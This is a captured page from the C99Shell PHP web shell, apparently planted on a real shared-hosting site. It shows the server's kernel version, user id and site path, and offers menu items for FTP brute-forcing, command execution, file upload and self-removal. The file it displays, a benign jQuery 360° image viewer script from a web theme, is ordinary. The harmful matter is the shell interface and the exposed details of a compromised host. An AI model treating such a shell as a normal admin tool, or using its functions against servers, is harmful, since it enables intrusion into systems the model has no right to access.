!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/home/cp949260/public_html/phbcoop.com/js/examples/   drwxr-xr-x
Free 201.33 GB of 981.82 GB (20.51%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     examples.image360.js (6.8 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*
Name: 			360ยบ Image Viewer - Examples
Written by: 	Okler Themes - (http://www.okler.net)
Theme Version:	7.5.0
Credits: Codyhouse (https://codyhouse.co/gem/360-degrees-product-viewer)
*/

(function( $ ) {

	'use strict';

	$(document).ready(function($){

		var productViewer = function(element) {
			this.element = element;
			this.handleContainer = this.element.find('.cd-product-viewer-handle');
			this.handleFill = this.handleContainer.children('.fill');
			this.handle = this.handleContainer.children('.handle');
			this.imageWrapper = this.element.find('.product-viewer');
			this.slideShow = this.imageWrapper.children('.product-sprite');
			this.frames = this.element.data('frame');
			this.friction = this.element.data('friction');
			this.visibleFrame = 0;
			this.loaded = false;
			this.animating = false;
			this.xPosition = 0;
			this.loadFrames();
		} 

		productViewer.prototype.loadFrames = function() {
			var self = this,
				imageUrl = this.slideShow.data('image'),
				newImg = $('<img/>');

			this.loading('0.5');
			newImg.attr('src', imageUrl).load(imageUrl, function() {
				$(this).remove();
				self.loaded = true;
			}).each(function(){
				var image = this;
				if(image.complete) {
					$(image).trigger('load');
				}
			});
		}

		productViewer.prototype.loading = function(percentage) {
			var self = this;
			transformElement(this.handleFill, 'scaleX('+ percentage +')');
			setTimeout(function(){
				if( self.loaded ){
					//sprite image has been loaded
					self.element.addClass('loaded');
					transformElement(self.handleFill, 'scaleX(1)');
					self.dragImage();
					if(self.handle) self.dragHandle();
				} else {
					var newPercentage = parseFloat(percentage) + .1;
					if ( newPercentage < 1 ) {
						self.loading(newPercentage);
					} else {
						self.loading(parseFloat(percentage));
					}
				}
			}, 500);
		}
		productViewer.prototype.dragHandle = function() {
			var self = this;
			self.handle.on('mousedown touchstart', function (e) {
				console.log('DRAG START');
				self.handle.addClass('cd-draggable');
				var dragWidth = self.handle.outerWidth(),
					containerOffset = self.handleContainer.offset().left,
					containerWidth = self.handleContainer.outerWidth(),
					minLeft = containerOffset - dragWidth/2,
					maxLeft = containerOffset + containerWidth - dragWidth/2;

				self.xPosition = self.handle.offset().left + dragWidth - ( ($(window).width() < 992) ? e.originalEvent.touches[0].pageX : e.pageX );

				self.element.on('mousemove touchmove', function (e) {
					if( !self.animating) {
						self.animating =  true;
						( !window.requestAnimationFrame )
							? setTimeout(function(){self.animateDraggedHandle(e, dragWidth, containerOffset, containerWidth, minLeft, maxLeft);}, 100)
							: requestAnimationFrame(function(){self.animateDraggedHandle(e, dragWidth, containerOffset, containerWidth, minLeft, maxLeft);});
					}
				}).one('mouseup touchend', function (e) {
					self.handle.removeClass('cd-draggable');
					self.element.off('mousemove touchmove');
				});

				e.preventDefault();

			}).on('mouseup touchend', function (e) {
				self.handle.removeClass('cd-draggable');
			});
		}

		productViewer.prototype.animateDraggedHandle = function(e, dragWidth, containerOffset, containerWidth, minLeft, maxLeft) {
			console.log('animate handle');
			var self = this;
			console.log(e);
			var leftValue = ( ($(window).width() < 992) ? e.originalEvent.touches[0].pageX : e.pageX ) + self.xPosition - dragWidth;
			if (leftValue < minLeft) {
				leftValue = minLeft;
			} else if (leftValue > maxLeft) {
				leftValue = maxLeft;
			}

			var widthValue = Math.ceil( (leftValue + dragWidth / 2 - containerOffset) * 1000 / containerWidth)/10;
			self.visibleFrame = Math.ceil( (widthValue * (self.frames-1))/100 );

			//update image frame
			self.updateFrame();
			//update handle position
			$('.cd-draggable', self.handleContainer).css('left', widthValue + '%').one('mouseup touchend', function () {
				$(this).removeClass('cd-draggable');
			});

			self.animating = false;
		}

		productViewer.prototype.dragImage = function() {
			var self = this;
			self.slideShow.on('mousedown touchstart', function (e) {
				self.slideShow.addClass('cd-draggable');
				var containerOffset = self.imageWrapper.offset().left,
					containerWidth = self.imageWrapper.outerWidth(),
					minFrame = 0,
					maxFrame = self.frames - 1;

				self.xPosition = ( ($(window).width() < 992) ? e.originalEvent.touches[0].pageX : e.pageX );

				self.element.on('mousemove touchmove', function (e) {
					if( !self.animating) {
						self.animating =  true;
						( !window.requestAnimationFrame )
							? setTimeout(function(){self.animateDraggedImage(e, containerOffset, containerWidth);}, 100)
							: requestAnimationFrame(function(){self.animateDraggedImage(e, containerOffset, containerWidth);});
					}
				}).one('mouseup touchend', function (e) {
					self.slideShow.removeClass('cd-draggable');
					self.element.off('mousemove touchmove');
					self.updateHandle();
				});

				e.preventDefault();

			}).on('mouseup touchend', function (e) {
				self.slideShow.removeClass('cd-draggable');
			});
		}

		productViewer.prototype.animateDraggedImage = function(e, containerOffset, containerWidth) {
			var self = this;
			var leftValue = self.xPosition - ( ($(window).width() < 992) ? e.originalEvent.touches[0].pageX : e.pageX );
			var widthValue = Math.ceil( (leftValue) * 100 / ( containerWidth * self.friction ));
			var frame = (widthValue * (self.frames-1))/100;
			if( frame > 0 ) {
				frame = Math.floor(frame);
			} else {
				frame = Math.ceil(frame);
			}
			var newFrame = self.visibleFrame + frame;

			if (newFrame < 0) {
				newFrame = self.frames - 1;
			} else if (newFrame > self.frames - 1) {
				newFrame = 0;
			}

			if( newFrame != self.visibleFrame ) {
				self.visibleFrame = newFrame;
				self.updateFrame();
				self.xPosition = ( ($(window).width() < 992) ? e.originalEvent.touches[0].pageX : e.pageX );
			}

			self.animating =  false;
		}

		productViewer.prototype.updateHandle = function() {
			if(this.handle) {
				var widthValue = 100*this.visibleFrame/this.frames;
				this.handle.animate({'left': widthValue + '%'}, 200);
			}
		}

		productViewer.prototype.updateFrame = function() {
			var transformValue = - (100 * this.visibleFrame/this.frames);
			transformElement(this.slideShow, 'translateX('+transformValue+'%)');
		}

		function transformElement(element, value) {
			element.css({
				'-moz-transform': value,
				'-webkit-transform': value,
				'-ms-transform': value,
				'-o-transform': value,
				'transform': value,
				'background-image': 'url(img/products/product-360-sprite.jpg)'
			});

			element.prev().css({
				visibility: 'hidden'
			});
		}

		var productToursWrapper = $('.cd-product-viewer-wrapper');
		productToursWrapper.each(function(){
			new productViewer($(this));
		});
	});

}).apply( this, [ jQuery ]);

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0149 ]--